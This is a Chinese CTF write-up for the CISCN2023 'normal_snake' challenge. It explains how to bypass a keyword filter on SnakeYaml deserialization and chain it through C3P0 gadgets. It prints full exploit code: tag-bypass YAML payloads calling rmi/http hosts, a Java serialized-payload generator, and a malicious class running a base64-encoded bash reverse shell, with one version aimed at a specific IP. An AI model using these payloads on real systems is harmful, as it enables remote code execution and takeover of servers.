就得审java。
又更新了,因为我前面jar包导不进去,所以把它解压了导入的,然后环境正常了就想起来把这个打了。
路由分析
老规矩,先看看路由:
/read路由下传参data,pyload不能包含!!,然后用了yaml来load传入的参数。
稍作了解,这其实就是 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!
。
前面的!!
是用于强制类型转化,强制转换为!!
后指定的类型,其实这个和Fastjson的@type
有着异曲同工之妙。用于指定反序列化的全类名。
但用tag头可以绕过:微信公众平台 (qq.com)
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true !!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
或者这样:
%TAG ! tag:yaml.org,2002: --- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
而 SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource:
private void checkForExceptions() throws RuntimeException, RuntimeException { String upperCaseData = this.data.toUpperCase(); if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) { if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) { throw new RuntimeException("No way to pass!"); } } else { throw new RuntimeException("Unsafe data detected!"); } }
开打
看一下pom.xml:
给了c3p0依赖,估计是从这里入手。
在C3P0中有三种利用方式
http base JNDI HEX序列化字节加载器
在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。
抄一下:
2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)
C3P0 主要有以下利用链:
触发点 | 功效 | 适用性 |
---|---|---|
JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup | Jndi 注入 | fastjson/snakeyaml/jackson |
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject | Hex 解码后触发原生反序列化 | fastjson/snakeyaml/jackson |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup | Jndi 注入 | Java原生反序列化 |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader | URLCLassLoader 远程类加载 | Java原生反序列化 |
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance | 不出网的命令注入 | Java原生反序列化不出网 |
在不考虑题目黑名单的情况下,这里浅浅了解了一下C3P0的几种打法:
JndiRefForwardingDataSource:Jndi 注入
没错,又是老常客了,JNDI注入。
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入
poc链:
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner() -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference() -InitialContext#lookup()
而SnakeYaml 可以触发该 setter 方法:
String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";
WrapperConnectionPoolDataSource:Hex 二次反序列化
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子?
首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用:
WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类,而com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
在 snakeyaml 反序列化的时候会被调用:
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException { String oldVal = this.userOverridesAsString; if ( ! eqOrBothNull( oldVal, userOverridesAsString ) ) vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString ); this.userOverridesAsString = userOverridesAsString; }
经过一系列调用栈:
java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue) -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event) -java.beans.VetoableChangeListener#vetoableChange() -C3P0ImplUtils#parseUserOverridesAsString() -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes) -com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
C3P0ImplUtils#parseUserOverridesAsString
方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap
字符串然后进行hex解码为字节数组:
下一个栈调用com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
处理字节数组调用原生反序列化:
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入
如下:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -InitialContext#lookup()
com.mchange.v2.naming.ReferenceIndirector#getObject()
内部可以触发 JNDI 注入:
看到lookup基本就有谱了。
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载
利用链可参考ysoserial:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() -IndirectlySerialized#getObject() -com.mchange.v2.naming.ReferenceIndirector#getObject() -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env) -URLClassLoader
对于最后一步com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用,
因此可以直接在静态块里面放入恶意数据进行RCE:
对于前面一个jndi也有的PoolBackedDataSourceBase,这里一并讲了。
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject():
红框中的 ois.readObject()
获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,
但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。
所以我们现在要看 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的。
从序列化角度来看:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()
中,
如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)
ReferenceIndirector.indirectForm
方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized
对象并返回:
public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); } ReferenceSerialized( Reference reference, Name name, Name contextName, Hashtable env ) { this.reference = reference; this.name = name; this.contextName = contextName; this.env = env; }
所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中。
ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化:
WrapperConnectionPoolDataSource JndiRefConnectionPoolDataSource
那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类,也关系到这个题的exp:
class C3P0DataSource implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { Reference reference = new Reference("evil","evil","http://vps:port/evil.jar"); return reference; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网
JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像。
关于JNDI高版本注入,这个我在之前的博客就分析了:绕过JDK高版本限制进行JNDI注入 - Eddie_Murphy - 博客园 (cnblogs.com)
EXP
言归正传,回到怎么打题目本身。
题目入口是 yaml.load,还给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。
根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化:
WrapperConnectionPoolDataSource#setUserOverridesAsString --> ObjectInputStream#readObject
然后再触发远程类加载或者jndi注入:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> InitialContext#lookup or com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject --> IndirectlySerialized#getObject() --> com.mchange.v2.naming.ReferenceableUtils#referenceToObject --> URLClassLoader
借用原作者 URLClassLoader 远程加载类POC直接打了,偷个懒wwww
生成序列化内容:
package com.snakeyaml; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import org.yaml.snakeyaml.Yaml; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class Exp { public static class C3P0 implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { return new Reference("evil","evil","http://vps:port/"); // ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); // resourceRef.add(new StringRefAddr("forceString", "x=eval")); // resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('bash -c \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}\"')")); // return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { C3P0 c3P0=new C3P0(); PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);//有参构造方法是public Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource"); connectionPoolDataSource.setAccessible(true); connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0); String hex=byteArrayToHexString(serialize(poolBackedDataSourceBase)); String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}"; System.out.println(poc); // Yaml yaml=new Yaml(); // yaml.load(poc); // byte[] result=serialize(poolBackedDataSourceBase); // unserialize(result); } public static byte[] serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(object); outputStream.close(); return byteArrayOutputStream.toByteArray(); } public static void unserialize(byte[] s) throws IOException, ClassNotFoundException { ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(s); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } public static String byteArrayToHexString(byte[] byteArray) { StringBuilder sb = new StringBuilder(); for (byte b : byteArray) { sb.append(String.format("%02X", b)); } return sb.toString(); } }
恶意类:
public class evil { private static final long serialVersionUID = 1593252632163539756L; static{ String string = "calc"; String[] commands = null; String command = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { commands = new String[]{"cmd", "/c", string}; } else { command = "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}"; } try { //Runtime.getRuntime().exec(commands); Runtime.getRuntime().exec(command); } catch (Exception e) { throw new RuntimeException(e); } } }
可以打 jar 包,上面payload改一下加个evil.jar就行:
jar -cvf evil.jar .
当然,我是直接用class字节码打的:
javac evil.java
记得url全编码绕过检测,本地弹calc(这个抄的):
环境变量拿下flag:
NSSCTF{07d7594b-e556-4447-98fb-5cec82e07e6b}
参考:
2023 华北分区赛 normal_snake - B0T1eR - 博客园 (cnblogs.com)
标签:normal,throws,v2,snake,mchange,CISCN2023,序列化,com,public From: https://www.cnblogs.com/EddieMurphy-blogs/p/18160178